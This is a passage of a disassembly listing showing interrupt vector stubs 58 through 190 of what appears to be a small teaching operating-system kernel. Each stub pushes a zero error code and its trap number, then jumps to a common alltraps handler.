pushl $58
801057b4: 6a 3a push $0x3a
jmp alltraps
801057b6: e9 ac f9 ff ff jmp 80105167 <alltraps>
801057bb <vector59>:
.globl vector59
vector59:
pushl $0
801057bb: 6a 00 push $0x0
pushl $59
801057bd: 6a 3b push $0x3b
jmp alltraps
801057bf: e9 a3 f9 ff ff jmp 80105167 <alltraps>
801057c4 <vector60>:
.globl vector60
vector60:
pushl $0
801057c4: 6a 00 push $0x0
pushl $60
801057c6: 6a 3c push $0x3c
jmp alltraps
801057c8: e9 9a f9 ff ff jmp 80105167 <alltraps>
801057cd <vector61>:
.globl vector61
vector61:
pushl $0
801057cd: 6a 00 push $0x0
pushl $61
801057cf: 6a 3d push $0x3d
jmp alltraps
801057d1: e9 91 f9 ff ff jmp 80105167 <alltraps>
801057d6 <vector62>:
.globl vector62
vector62:
pushl $0
801057d6: 6a 00 push $0x0
pushl $62
801057d8: 6a 3e push $0x3e
jmp alltraps
801057da: e9 88 f9 ff ff jmp 80105167 <alltraps>
801057df <vector63>:
.globl vector63
vector63:
pushl $0
801057df: 6a 00 push $0x0
pushl $63
801057e1: 6a 3f push $0x3f
jmp alltraps
801057e3: e9 7f f9 ff ff jmp 80105167 <alltraps>
801057e8 <vector64>:
.globl vector64
vector64:
pushl $0
801057e8: 6a 00 push $0x0
pushl $64
801057ea: 6a 40 push $0x40
jmp alltraps
801057ec: e9 76 f9 ff ff jmp 80105167 <alltraps>
801057f1 <vector65>:
.globl vector65
vector65:
pushl $0
801057f1: 6a 00 push $0x0
pushl $65
801057f3: 6a 41 push $0x41
jmp alltraps
801057f5: e9 6d f9 ff ff jmp 80105167 <alltraps>
801057fa <vector66>:
.globl vector66
vector66:
pushl $0
801057fa: 6a 00 push $0x0
pushl $66
801057fc: 6a 42 push $0x42
jmp alltraps
801057fe: e9 64 f9 ff ff jmp 80105167 <alltraps>
80105803 <vector67>:
.globl vector67
vector67:
pushl $0
80105803: 6a 00 push $0x0
pushl $67
80105805: 6a 43 push $0x43
jmp alltraps
80105807: e9 5b f9 ff ff jmp 80105167 <alltraps>
8010580c <vector68>:
.globl vector68
vector68:
pushl $0
8010580c: 6a 00 push $0x0
pushl $68
8010580e: 6a 44 push $0x44
jmp alltraps
80105810: e9 52 f9 ff ff jmp 80105167 <alltraps>
80105815 <vector69>:
.globl vector69
vector69:
pushl $0
80105815: 6a 00 push $0x0
pushl $69
80105817: 6a 45 push $0x45
jmp alltraps
80105819: e9 49 f9 ff ff jmp 80105167 <alltraps>
8010581e <vector70>:
.globl vector70
vector70:
pushl $0
8010581e: 6a 00 push $0x0
pushl $70
80105820: 6a 46 push $0x46
jmp alltraps
80105822: e9 40 f9 ff ff jmp 80105167 <alltraps>
80105827 <vector71>:
.globl vector71
vector71:
pushl $0
80105827: 6a 00 push $0x0
pushl $71
80105829: 6a 47 push $0x47
jmp alltraps
8010582b: e9 37 f9 ff ff jmp 80105167 <alltraps>
80105830 <vector72>:
.globl vector72
vector72:
pushl $0
80105830: 6a 00 push $0x0
pushl $72
80105832: 6a 48 push $0x48
jmp alltraps
80105834: e9 2e f9 ff ff jmp 80105167 <alltraps>
80105839 <vector73>:
.globl vector73
vector73:
pushl $0
80105839: 6a 00 push $0x0
pushl $73
8010583b: 6a 49 push $0x49
jmp alltraps
8010583d: e9 25 f9 ff ff jmp 80105167 <alltraps>
80105842 <vector74>:
.globl vector74
vector74:
pushl $0
80105842: 6a 00 push $0x0
pushl $74
80105844: 6a 4a push $0x4a
jmp alltraps
80105846: e9 1c f9 ff ff jmp 80105167 <alltraps>
8010584b <vector75>:
.globl vector75
vector75:
pushl $0
8010584b: 6a 00 push $0x0
pushl $75
8010584d: 6a 4b push $0x4b
jmp alltraps
8010584f: e9 13 f9 ff ff jmp 80105167 <alltraps>
80105854 <vector76>:
.globl vector76
vector76:
pushl $0
80105854: 6a 00 push $0x0
pushl $76
80105856: 6a 4c push $0x4c
jmp alltraps
80105858: e9 0a f9 ff ff jmp 80105167 <alltraps>
8010585d <vector77>:
.globl vector77
vector77:
pushl $0
8010585d: 6a 00 push $0x0
pushl $77
8010585f: 6a 4d push $0x4d
jmp alltraps
80105861: e9 01 f9 ff ff jmp 80105167 <alltraps>
80105866 <vector78>:
.globl vector78
vector78:
pushl $0
80105866: 6a 00 push $0x0
pushl $78
80105868: 6a 4e push $0x4e
jmp alltraps
8010586a: e9 f8 f8 ff ff jmp 80105167 <alltraps>
8010586f <vector79>:
.globl vector79
vector79:
pushl $0
8010586f: 6a 00 push $0x0
pushl $79
80105871: 6a 4f push $0x4f
jmp alltraps
80105873: e9 ef f8 ff ff jmp 80105167 <alltraps>
80105878 <vector80>:
.globl vector80
vector80:
pushl $0
80105878: 6a 00 push $0x0
pushl $80
8010587a: 6a 50 push $0x50
jmp alltraps
8010587c: e9 e6 f8 ff ff jmp 80105167 <alltraps>
80105881 <vector81>:
.globl vector81
vector81:
pushl $0
80105881: 6a 00 push $0x0
pushl $81
80105883: 6a 51 push $0x51
jmp alltraps
80105885: e9 dd f8 ff ff jmp 80105167 <alltraps>
8010588a <vector82>:
.globl vector82
vector82:
pushl $0
8010588a: 6a 00 push $0x0
pushl $82
8010588c: 6a 52 push $0x52
jmp alltraps
8010588e: e9 d4 f8 ff ff jmp 80105167 <alltraps>
80105893 <vector83>:
.globl vector83
vector83:
pushl $0
80105893: 6a 00 push $0x0
pushl $83
80105895: 6a 53 push $0x53
jmp alltraps
80105897: e9 cb f8 ff ff jmp 80105167 <alltraps>
8010589c <vector84>:
.globl vector84
vector84:
pushl $0
8010589c: 6a 00 push $0x0
pushl $84
8010589e: 6a 54 push $0x54
jmp alltraps
801058a0: e9 c2 f8 ff ff jmp 80105167 <alltraps>
801058a5 <vector85>:
.globl vector85
vector85:
pushl $0
801058a5: 6a 00 push $0x0
pushl $85
801058a7: 6a 55 push $0x55
jmp alltraps
801058a9: e9 b9 f8 ff ff jmp 80105167 <alltraps>
801058ae <vector86>:
.globl vector86
vector86:
pushl $0
801058ae: 6a 00 push $0x0
pushl $86
801058b0: 6a 56 push $0x56
jmp alltraps
801058b2: e9 b0 f8 ff ff jmp 80105167 <alltraps>
801058b7 <vector87>:
.globl vector87
vector87:
pushl $0
801058b7: 6a 00 push $0x0
pushl $87
801058b9: 6a 57 push $0x57
jmp alltraps
801058bb: e9 a7 f8 ff ff jmp 80105167 <alltraps>
801058c0 <vector88>:
.globl vector88
vector88:
pushl $0
801058c0: 6a 00 push $0x0
pushl $88
801058c2: 6a 58 push $0x58
jmp alltraps
801058c4: e9 9e f8 ff ff jmp 80105167 <alltraps>
801058c9 <vector89>:
.globl vector89
vector89:
pushl $0
801058c9: 6a 00 push $0x0
pushl $89
801058cb: 6a 59 push $0x59
jmp alltraps
801058cd: e9 95 f8 ff ff jmp 80105167 <alltraps>
801058d2 <vector90>:
.globl vector90
vector90:
pushl $0
801058d2: 6a 00 push $0x0
pushl $90
801058d4: 6a 5a push $0x5a
jmp alltraps
801058d6: e9 8c f8 ff ff jmp 80105167 <alltraps>
801058db <vector91>:
.globl vector91
vector91:
pushl $0
801058db: 6a 00 push $0x0
pushl $91
801058dd: 6a 5b push $0x5b
jmp alltraps
801058df: e9 83 f8 ff ff jmp 80105167 <alltraps>
801058e4 <vector92>:
.globl vector92
vector92:
pushl $0
801058e4: 6a 00 push $0x0
pushl $92
801058e6: 6a 5c push $0x5c
jmp alltraps
801058e8: e9 7a f8 ff ff jmp 80105167 <alltraps>
801058ed <vector93>:
.globl vector93
vector93:
pushl $0
801058ed: 6a 00 push $0x0
pushl $93
801058ef: 6a 5d push $0x5d
jmp alltraps
801058f1: e9 71 f8 ff ff jmp 80105167 <alltraps>
801058f6 <vector94>:
.globl vector94
vector94:
pushl $0
801058f6: 6a 00 push $0x0
pushl $94
801058f8: 6a 5e push $0x5e
jmp alltraps
801058fa: e9 68 f8 ff ff jmp 80105167 <alltraps>
801058ff <vector95>:
.globl vector95
vector95:
pushl $0
801058ff: 6a 00 push $0x0
pushl $95
80105901: 6a 5f push $0x5f
jmp alltraps
80105903: e9 5f f8 ff ff jmp 80105167 <alltraps>
80105908 <vector96>:
.globl vector96
vector96:
pushl $0
80105908: 6a 00 push $0x0
pushl $96
8010590a: 6a 60 push $0x60
jmp alltraps
8010590c: e9 56 f8 ff ff jmp 80105167 <alltraps>
80105911 <vector97>:
.globl vector97
vector97:
pushl $0
80105911: 6a 00 push $0x0
pushl $97
80105913: 6a 61 push $0x61
jmp alltraps
80105915: e9 4d f8 ff ff jmp 80105167 <alltraps>
8010591a <vector98>:
.globl vector98
vector98:
pushl $0
8010591a: 6a 00 push $0x0
pushl $98
8010591c: 6a 62 push $0x62
jmp alltraps
8010591e: e9 44 f8 ff ff jmp 80105167 <alltraps>
80105923 <vector99>:
.globl vector99
vector99:
pushl $0
80105923: 6a 00 push $0x0
pushl $99
80105925: 6a 63 push $0x63
jmp alltraps
80105927: e9 3b f8 ff ff jmp 80105167 <alltraps>
8010592c <vector100>:
.globl vector100
vector100:
pushl $0
8010592c: 6a 00 push $0x0
pushl $100
8010592e: 6a 64 push $0x64
jmp alltraps
80105930: e9 32 f8 ff ff jmp 80105167 <alltraps>
80105935 <vector101>:
.globl vector101
vector101:
pushl $0
80105935: 6a 00 push $0x0
pushl $101
80105937: 6a 65 push $0x65
jmp alltraps
80105939: e9 29 f8 ff ff jmp 80105167 <alltraps>
8010593e <vector102>:
.globl vector102
vector102:
pushl $0
8010593e: 6a 00 push $0x0
pushl $102
80105940: 6a 66 push $0x66
jmp alltraps
80105942: e9 20 f8 ff ff jmp 80105167 <alltraps>
80105947 <vector103>:
.globl vector103
vector103:
pushl $0
80105947: 6a 00 push $0x0
pushl $103
80105949: 6a 67 push $0x67
jmp alltraps
8010594b: e9 17 f8 ff ff jmp 80105167 <alltraps>
80105950 <vector104>:
.globl vector104
vector104:
pushl $0
80105950: 6a 00 push $0x0
pushl $104
80105952: 6a 68 push $0x68
jmp alltraps
80105954: e9 0e f8 ff ff jmp 80105167 <alltraps>
80105959 <vector105>:
.globl vector105
vector105:
pushl $0
80105959: 6a 00 push $0x0
pushl $105
8010595b: 6a 69 push $0x69
jmp alltraps
8010595d: e9 05 f8 ff ff jmp 80105167 <alltraps>
80105962 <vector106>:
.globl vector106
vector106:
pushl $0
80105962: 6a 00 push $0x0
pushl $106
80105964: 6a 6a push $0x6a
jmp alltraps
80105966: e9 fc f7 ff ff jmp 80105167 <alltraps>
8010596b <vector107>:
.globl vector107
vector107:
pushl $0
8010596b: 6a 00 push $0x0
pushl $107
8010596d: 6a 6b push $0x6b
jmp alltraps
8010596f: e9 f3 f7 ff ff jmp 80105167 <alltraps>
80105974 <vector108>:
.globl vector108
vector108:
pushl $0
80105974: 6a 00 push $0x0
pushl $108
80105976: 6a 6c push $0x6c
jmp alltraps
80105978: e9 ea f7 ff ff jmp 80105167 <alltraps>
8010597d <vector109>:
.globl vector109
vector109:
pushl $0
8010597d: 6a 00 push $0x0
pushl $109
8010597f: 6a 6d push $0x6d
jmp alltraps
80105981: e9 e1 f7 ff ff jmp 80105167 <alltraps>
80105986 <vector110>:
.globl vector110
vector110:
pushl $0
80105986: 6a 00 push $0x0
pushl $110
80105988: 6a 6e push $0x6e
jmp alltraps
8010598a: e9 d8 f7 ff ff jmp 80105167 <alltraps>
8010598f <vector111>:
.globl vector111
vector111:
pushl $0
8010598f: 6a 00 push $0x0
pushl $111
80105991: 6a 6f push $0x6f
jmp alltraps
80105993: e9 cf f7 ff ff jmp 80105167 <alltraps>
80105998 <vector112>:
.globl vector112
vector112:
pushl $0
80105998: 6a 00 push $0x0
pushl $112
8010599a: 6a 70 push $0x70
jmp alltraps
8010599c: e9 c6 f7 ff ff jmp 80105167 <alltraps>
801059a1 <vector113>:
.globl vector113
vector113:
pushl $0
801059a1: 6a 00 push $0x0
pushl $113
801059a3: 6a 71 push $0x71
jmp alltraps
801059a5: e9 bd f7 ff ff jmp 80105167 <alltraps>
801059aa <vector114>:
.globl vector114
vector114:
pushl $0
801059aa: 6a 00 push $0x0
pushl $114
801059ac: 6a 72 push $0x72
jmp alltraps
801059ae: e9 b4 f7 ff ff jmp 80105167 <alltraps>
801059b3 <vector115>:
.globl vector115
vector115:
pushl $0
801059b3: 6a 00 push $0x0
pushl $115
801059b5: 6a 73 push $0x73
jmp alltraps
801059b7: e9 ab f7 ff ff jmp 80105167 <alltraps>
801059bc <vector116>:
.globl vector116
vector116:
pushl $0
801059bc: 6a 00 push $0x0
pushl $116
801059be: 6a 74 push $0x74
jmp alltraps
801059c0: e9 a2 f7 ff ff jmp 80105167 <alltraps>
801059c5 <vector117>:
.globl vector117
vector117:
pushl $0
801059c5: 6a 00 push $0x0
pushl $117
801059c7: 6a 75 push $0x75
jmp alltraps
801059c9: e9 99 f7 ff ff jmp 80105167 <alltraps>
801059ce <vector118>:
.globl vector118
vector118:
pushl $0
801059ce: 6a 00 push $0x0
pushl $118
801059d0: 6a 76 push $0x76
jmp alltraps
801059d2: e9 90 f7 ff ff jmp 80105167 <alltraps>
801059d7 <vector119>:
.globl vector119
vector119:
pushl $0
801059d7: 6a 00 push $0x0
pushl $119
801059d9: 6a 77 push $0x77
jmp alltraps
801059db: e9 87 f7 ff ff jmp 80105167 <alltraps>
801059e0 <vector120>:
.globl vector120
vector120:
pushl $0
801059e0: 6a 00 push $0x0
pushl $120
801059e2: 6a 78 push $0x78
jmp alltraps
801059e4: e9 7e f7 ff ff jmp 80105167 <alltraps>
801059e9 <vector121>:
.globl vector121
vector121:
pushl $0
801059e9: 6a 00 push $0x0
pushl $121
801059eb: 6a 79 push $0x79
jmp alltraps
801059ed: e9 75 f7 ff ff jmp 80105167 <alltraps>
801059f2 <vector122>:
.globl vector122
vector122:
pushl $0
801059f2: 6a 00 push $0x0
pushl $122
801059f4: 6a 7a push $0x7a
jmp alltraps
801059f6: e9 6c f7 ff ff jmp 80105167 <alltraps>
801059fb <vector123>:
.globl vector123
vector123:
pushl $0
801059fb: 6a 00 push $0x0
pushl $123
801059fd: 6a 7b push $0x7b
jmp alltraps
801059ff: e9 63 f7 ff ff jmp 80105167 <alltraps>
80105a04 <vector124>:
.globl vector124
vector124:
pushl $0
80105a04: 6a 00 push $0x0
pushl $124
80105a06: 6a 7c push $0x7c
jmp alltraps
80105a08: e9 5a f7 ff ff jmp 80105167 <alltraps>
80105a0d <vector125>:
.globl vector125
vector125:
pushl $0
80105a0d: 6a 00 push $0x0
pushl $125
80105a0f: 6a 7d push $0x7d
jmp alltraps
80105a11: e9 51 f7 ff ff jmp 80105167 <alltraps>
80105a16 <vector126>:
.globl vector126
vector126:
pushl $0
80105a16: 6a 00 push $0x0
pushl $126
80105a18: 6a 7e push $0x7e
jmp alltraps
80105a1a: e9 48 f7 ff ff jmp 80105167 <alltraps>
80105a1f <vector127>:
.globl vector127
vector127:
pushl $0
80105a1f: 6a 00 push $0x0
pushl $127
80105a21: 6a 7f push $0x7f
jmp alltraps
80105a23: e9 3f f7 ff ff jmp 80105167 <alltraps>
80105a28 <vector128>:
.globl vector128
vector128:
pushl $0
80105a28: 6a 00 push $0x0
pushl $128
80105a2a: 68 80 00 00 00 push $0x80
jmp alltraps
80105a2f: e9 33 f7 ff ff jmp 80105167 <alltraps>
80105a34 <vector129>:
.globl vector129
vector129:
pushl $0
80105a34: 6a 00 push $0x0
pushl $129
80105a36: 68 81 00 00 00 push $0x81
jmp alltraps
80105a3b: e9 27 f7 ff ff jmp 80105167 <alltraps>
80105a40 <vector130>:
.globl vector130
vector130:
pushl $0
80105a40: 6a 00 push $0x0
pushl $130
80105a42: 68 82 00 00 00 push $0x82
jmp alltraps
80105a47: e9 1b f7 ff ff jmp 80105167 <alltraps>
80105a4c <vector131>:
.globl vector131
vector131:
pushl $0
80105a4c: 6a 00 push $0x0
pushl $131
80105a4e: 68 83 00 00 00 push $0x83
jmp alltraps
80105a53: e9 0f f7 ff ff jmp 80105167 <alltraps>
80105a58 <vector132>:
.globl vector132
vector132:
pushl $0
80105a58: 6a 00 push $0x0
pushl $132
80105a5a: 68 84 00 00 00 push $0x84
jmp alltraps
80105a5f: e9 03 f7 ff ff jmp 80105167 <alltraps>
80105a64 <vector133>:
.globl vector133
vector133:
pushl $0
80105a64: 6a 00 push $0x0
pushl $133
80105a66: 68 85 00 00 00 push $0x85
jmp alltraps
80105a6b: e9 f7 f6 ff ff jmp 80105167 <alltraps>
80105a70 <vector134>:
.globl vector134
vector134:
pushl $0
80105a70: 6a 00 push $0x0
pushl $134
80105a72: 68 86 00 00 00 push $0x86
jmp alltraps
80105a77: e9 eb f6 ff ff jmp 80105167 <alltraps>
80105a7c <vector135>:
.globl vector135
vector135:
pushl $0
80105a7c: 6a 00 push $0x0
pushl $135
80105a7e: 68 87 00 00 00 push $0x87
jmp alltraps
80105a83: e9 df f6 ff ff jmp 80105167 <alltraps>
80105a88 <vector136>:
.globl vector136
vector136:
pushl $0
80105a88: 6a 00 push $0x0
pushl $136
80105a8a: 68 88 00 00 00 push $0x88
jmp alltraps
80105a8f: e9 d3 f6 ff ff jmp 80105167 <alltraps>
80105a94 <vector137>:
.globl vector137
vector137:
pushl $0
80105a94: 6a 00 push $0x0
pushl $137
80105a96: 68 89 00 00 00 push $0x89
jmp alltraps
80105a9b: e9 c7 f6 ff ff jmp 80105167 <alltraps>
80105aa0 <vector138>:
.globl vector138
vector138:
pushl $0
80105aa0: 6a 00 push $0x0
pushl $138
80105aa2: 68 8a 00 00 00 push $0x8a
jmp alltraps
80105aa7: e9 bb f6 ff ff jmp 80105167 <alltraps>
80105aac <vector139>:
.globl vector139
vector139:
pushl $0
80105aac: 6a 00 push $0x0
pushl $139
80105aae: 68 8b 00 00 00 push $0x8b
jmp alltraps
80105ab3: e9 af f6 ff ff jmp 80105167 <alltraps>
80105ab8 <vector140>:
.globl vector140
vector140:
pushl $0
80105ab8: 6a 00 push $0x0
pushl $140
80105aba: 68 8c 00 00 00 push $0x8c
jmp alltraps
80105abf: e9 a3 f6 ff ff jmp 80105167 <alltraps>
80105ac4 <vector141>:
.globl vector141
vector141:
pushl $0
80105ac4: 6a 00 push $0x0
pushl $141
80105ac6: 68 8d 00 00 00 push $0x8d
jmp alltraps
80105acb: e9 97 f6 ff ff jmp 80105167 <alltraps>
80105ad0 <vector142>:
.globl vector142
vector142:
pushl $0
80105ad0: 6a 00 push $0x0
pushl $142
80105ad2: 68 8e 00 00 00 push $0x8e
jmp alltraps
80105ad7: e9 8b f6 ff ff jmp 80105167 <alltraps>
80105adc <vector143>:
.globl vector143
vector143:
pushl $0
80105adc: 6a 00 push $0x0
pushl $143
80105ade: 68 8f 00 00 00 push $0x8f
jmp alltraps
80105ae3: e9 7f f6 ff ff jmp 80105167 <alltraps>
80105ae8 <vector144>:
.globl vector144
vector144:
pushl $0
80105ae8: 6a 00 push $0x0
pushl $144
80105aea: 68 90 00 00 00 push $0x90
jmp alltraps
80105aef: e9 73 f6 ff ff jmp 80105167 <alltraps>
80105af4 <vector145>:
.globl vector145
vector145:
pushl $0
80105af4: 6a 00 push $0x0
pushl $145
80105af6: 68 91 00 00 00 push $0x91
jmp alltraps
80105afb: e9 67 f6 ff ff jmp 80105167 <alltraps>
80105b00 <vector146>:
.globl vector146
vector146:
pushl $0
80105b00: 6a 00 push $0x0
pushl $146
80105b02: 68 92 00 00 00 push $0x92
jmp alltraps
80105b07: e9 5b f6 ff ff jmp 80105167 <alltraps>
80105b0c <vector147>:
.globl vector147
vector147:
pushl $0
80105b0c: 6a 00 push $0x0
pushl $147
80105b0e: 68 93 00 00 00 push $0x93
jmp alltraps
80105b13: e9 4f f6 ff ff jmp 80105167 <alltraps>
80105b18 <vector148>:
.globl vector148
vector148:
pushl $0
80105b18: 6a 00 push $0x0
pushl $148
80105b1a: 68 94 00 00 00 push $0x94
jmp alltraps
80105b1f: e9 43 f6 ff ff jmp 80105167 <alltraps>
80105b24 <vector149>:
.globl vector149
vector149:
pushl $0
80105b24: 6a 00 push $0x0
pushl $149
80105b26: 68 95 00 00 00 push $0x95
jmp alltraps
80105b2b: e9 37 f6 ff ff jmp 80105167 <alltraps>
80105b30 <vector150>:
.globl vector150
vector150:
pushl $0
80105b30: 6a 00 push $0x0
pushl $150
80105b32: 68 96 00 00 00 push $0x96
jmp alltraps
80105b37: e9 2b f6 ff ff jmp 80105167 <alltraps>
80105b3c <vector151>:
.globl vector151
vector151:
pushl $0
80105b3c: 6a 00 push $0x0
pushl $151
80105b3e: 68 97 00 00 00 push $0x97
jmp alltraps
80105b43: e9 1f f6 ff ff jmp 80105167 <alltraps>
80105b48 <vector152>:
.globl vector152
vector152:
pushl $0
80105b48: 6a 00 push $0x0
pushl $152
80105b4a: 68 98 00 00 00 push $0x98
jmp alltraps
80105b4f: e9 13 f6 ff ff jmp 80105167 <alltraps>
80105b54 <vector153>:
.globl vector153
vector153:
pushl $0
80105b54: 6a 00 push $0x0
pushl $153
80105b56: 68 99 00 00 00 push $0x99
jmp alltraps
80105b5b: e9 07 f6 ff ff jmp 80105167 <alltraps>
80105b60 <vector154>:
.globl vector154
vector154:
pushl $0
80105b60: 6a 00 push $0x0
pushl $154
80105b62: 68 9a 00 00 00 push $0x9a
jmp alltraps
80105b67: e9 fb f5 ff ff jmp 80105167 <alltraps>
80105b6c <vector155>:
.globl vector155
vector155:
pushl $0
80105b6c: 6a 00 push $0x0
pushl $155
80105b6e: 68 9b 00 00 00 push $0x9b
jmp alltraps
80105b73: e9 ef f5 ff ff jmp 80105167 <alltraps>
80105b78 <vector156>:
.globl vector156
vector156:
pushl $0
80105b78: 6a 00 push $0x0
pushl $156
80105b7a: 68 9c 00 00 00 push $0x9c
jmp alltraps
80105b7f: e9 e3 f5 ff ff jmp 80105167 <alltraps>
80105b84 <vector157>:
.globl vector157
vector157:
pushl $0
80105b84: 6a 00 push $0x0
pushl $157
80105b86: 68 9d 00 00 00 push $0x9d
jmp alltraps
80105b8b: e9 d7 f5 ff ff jmp 80105167 <alltraps>
80105b90 <vector158>:
.globl vector158
vector158:
pushl $0
80105b90: 6a 00 push $0x0
pushl $158
80105b92: 68 9e 00 00 00 push $0x9e
jmp alltraps
80105b97: e9 cb f5 ff ff jmp 80105167 <alltraps>
80105b9c <vector159>:
.globl vector159
vector159:
pushl $0
80105b9c: 6a 00 push $0x0
pushl $159
80105b9e: 68 9f 00 00 00 push $0x9f
jmp alltraps
80105ba3: e9 bf f5 ff ff jmp 80105167 <alltraps>
80105ba8 <vector160>:
.globl vector160
vector160:
pushl $0
80105ba8: 6a 00 push $0x0
pushl $160
80105baa: 68 a0 00 00 00 push $0xa0
jmp alltraps
80105baf: e9 b3 f5 ff ff jmp 80105167 <alltraps>
80105bb4 <vector161>:
.globl vector161
vector161:
pushl $0
80105bb4: 6a 00 push $0x0
pushl $161
80105bb6: 68 a1 00 00 00 push $0xa1
jmp alltraps
80105bbb: e9 a7 f5 ff ff jmp 80105167 <alltraps>
80105bc0 <vector162>:
.globl vector162
vector162:
pushl $0
80105bc0: 6a 00 push $0x0
pushl $162
80105bc2: 68 a2 00 00 00 push $0xa2
jmp alltraps
80105bc7: e9 9b f5 ff ff jmp 80105167 <alltraps>
80105bcc <vector163>:
.globl vector163
vector163:
pushl $0
80105bcc: 6a 00 push $0x0
pushl $163
80105bce: 68 a3 00 00 00 push $0xa3
jmp alltraps
80105bd3: e9 8f f5 ff ff jmp 80105167 <alltraps>
80105bd8 <vector164>:
.globl vector164
vector164:
pushl $0
80105bd8: 6a 00 push $0x0
pushl $164
80105bda: 68 a4 00 00 00 push $0xa4
jmp alltraps
80105bdf: e9 83 f5 ff ff jmp 80105167 <alltraps>
80105be4 <vector165>:
.globl vector165
vector165:
pushl $0
80105be4: 6a 00 push $0x0
pushl $165
80105be6: 68 a5 00 00 00 push $0xa5
jmp alltraps
80105beb: e9 77 f5 ff ff jmp 80105167 <alltraps>
80105bf0 <vector166>:
.globl vector166
vector166:
pushl $0
80105bf0: 6a 00 push $0x0
pushl $166
80105bf2: 68 a6 00 00 00 push $0xa6
jmp alltraps
80105bf7: e9 6b f5 ff ff jmp 80105167 <alltraps>
80105bfc <vector167>:
.globl vector167
vector167:
pushl $0
80105bfc: 6a 00 push $0x0
pushl $167
80105bfe: 68 a7 00 00 00 push $0xa7
jmp alltraps
80105c03: e9 5f f5 ff ff jmp 80105167 <alltraps>
80105c08 <vector168>:
.globl vector168
vector168:
pushl $0
80105c08: 6a 00 push $0x0
pushl $168
80105c0a: 68 a8 00 00 00 push $0xa8
jmp alltraps
80105c0f: e9 53 f5 ff ff jmp 80105167 <alltraps>
80105c14 <vector169>:
.globl vector169
vector169:
pushl $0
80105c14: 6a 00 push $0x0
pushl $169
80105c16: 68 a9 00 00 00 push $0xa9
jmp alltraps
80105c1b: e9 47 f5 ff ff jmp 80105167 <alltraps>
80105c20 <vector170>:
.globl vector170
vector170:
pushl $0
80105c20: 6a 00 push $0x0
pushl $170
80105c22: 68 aa 00 00 00 push $0xaa
jmp alltraps
80105c27: e9 3b f5 ff ff jmp 80105167 <alltraps>
80105c2c <vector171>:
.globl vector171
vector171:
pushl $0
80105c2c: 6a 00 push $0x0
pushl $171
80105c2e: 68 ab 00 00 00 push $0xab
jmp alltraps
80105c33: e9 2f f5 ff ff jmp 80105167 <alltraps>
80105c38 <vector172>:
.globl vector172
vector172:
pushl $0
80105c38: 6a 00 push $0x0
pushl $172
80105c3a: 68 ac 00 00 00 push $0xac
jmp alltraps
80105c3f: e9 23 f5 ff ff jmp 80105167 <alltraps>
80105c44 <vector173>:
.globl vector173
vector173:
pushl $0
80105c44: 6a 00 push $0x0
pushl $173
80105c46: 68 ad 00 00 00 push $0xad
jmp alltraps
80105c4b: e9 17 f5 ff ff jmp 80105167 <alltraps>
80105c50 <vector174>:
.globl vector174
vector174:
pushl $0
80105c50: 6a 00 push $0x0
pushl $174
80105c52: 68 ae 00 00 00 push $0xae
jmp alltraps
80105c57: e9 0b f5 ff ff jmp 80105167 <alltraps>
80105c5c <vector175>:
.globl vector175
vector175:
pushl $0
80105c5c: 6a 00 push $0x0
pushl $175
80105c5e: 68 af 00 00 00 push $0xaf
jmp alltraps
80105c63: e9 ff f4 ff ff jmp 80105167 <alltraps>
80105c68 <vector176>:
.globl vector176
vector176:
pushl $0
80105c68: 6a 00 push $0x0
pushl $176
80105c6a: 68 b0 00 00 00 push $0xb0
jmp alltraps
80105c6f: e9 f3 f4 ff ff jmp 80105167 <alltraps>
80105c74 <vector177>:
.globl vector177
vector177:
pushl $0
80105c74: 6a 00 push $0x0
pushl $177
80105c76: 68 b1 00 00 00 push $0xb1
jmp alltraps
80105c7b: e9 e7 f4 ff ff jmp 80105167 <alltraps>
80105c80 <vector178>:
.globl vector178
vector178:
pushl $0
80105c80: 6a 00 push $0x0
pushl $178
80105c82: 68 b2 00 00 00 push $0xb2
jmp alltraps
80105c87: e9 db f4 ff ff jmp 80105167 <alltraps>
80105c8c <vector179>:
.globl vector179
vector179:
pushl $0
80105c8c: 6a 00 push $0x0
pushl $179
80105c8e: 68 b3 00 00 00 push $0xb3
jmp alltraps
80105c93: e9 cf f4 ff ff jmp 80105167 <alltraps>
80105c98 <vector180>:
.globl vector180
vector180:
pushl $0
80105c98: 6a 00 push $0x0
pushl $180
80105c9a: 68 b4 00 00 00 push $0xb4
jmp alltraps
80105c9f: e9 c3 f4 ff ff jmp 80105167 <alltraps>
80105ca4 <vector181>:
.globl vector181
vector181:
pushl $0
80105ca4: 6a 00 push $0x0
pushl $181
80105ca6: 68 b5 00 00 00 push $0xb5
jmp alltraps
80105cab: e9 b7 f4 ff ff jmp 80105167 <alltraps>
80105cb0 <vector182>:
.globl vector182
vector182:
pushl $0
80105cb0: 6a 00 push $0x0
pushl $182
80105cb2: 68 b6 00 00 00 push $0xb6
jmp alltraps
80105cb7: e9 ab f4 ff ff jmp 80105167 <alltraps>
80105cbc <vector183>:
.globl vector183
vector183:
pushl $0
80105cbc: 6a 00 push $0x0
pushl $183
80105cbe: 68 b7 00 00 00 push $0xb7
jmp alltraps
80105cc3: e9 9f f4 ff ff jmp 80105167 <alltraps>
80105cc8 <vector184>:
.globl vector184
vector184:
pushl $0
80105cc8: 6a 00 push $0x0
pushl $184
80105cca: 68 b8 00 00 00 push $0xb8
jmp alltraps
80105ccf: e9 93 f4 ff ff jmp 80105167 <alltraps>
80105cd4 <vector185>:
.globl vector185
vector185:
pushl $0
80105cd4: 6a 00 push $0x0
pushl $185
80105cd6: 68 b9 00 00 00 push $0xb9
jmp alltraps
80105cdb: e9 87 f4 ff ff jmp 80105167 <alltraps>
80105ce0 <vector186>:
.globl vector186
vector186:
pushl $0
80105ce0: 6a 00 push $0x0
pushl $186
80105ce2: 68 ba 00 00 00 push $0xba
jmp alltraps
80105ce7: e9 7b f4 ff ff jmp 80105167 <alltraps>
80105cec <vector187>:
.globl vector187
vector187:
pushl $0
80105cec: 6a 00 push $0x0
pushl $187
80105cee: 68 bb 00 00 00 push $0xbb
jmp alltraps
80105cf3: e9 6f f4 ff ff jmp 80105167 <alltraps>
80105cf8 <vector188>:
.globl vector188
vector188:
pushl $0
80105cf8: 6a 00 push $0x0
pushl $188
80105cfa: 68 bc 00 00 00 push $0xbc
jmp alltraps
80105cff: e9 63 f4 ff ff jmp 80105167 <alltraps>
80105d04 <vector189>:
.globl vector189
vector189:
pushl $0
80105d04: 6a 00 push $0x0
pushl $189
80105d06: 68 bd 00 00 00 push $0xbd
jmp alltraps
80105d0b: e9 57 f4 ff ff jmp 80105167 <alltraps>
80105d10 <vector190>:
.globl vector190
vector190:
pushl $0
80105d10: 6a 00 push $0x0
pushl $190
80105d12: 68 be 00 00 00 push $0xbe
jmp alltraps
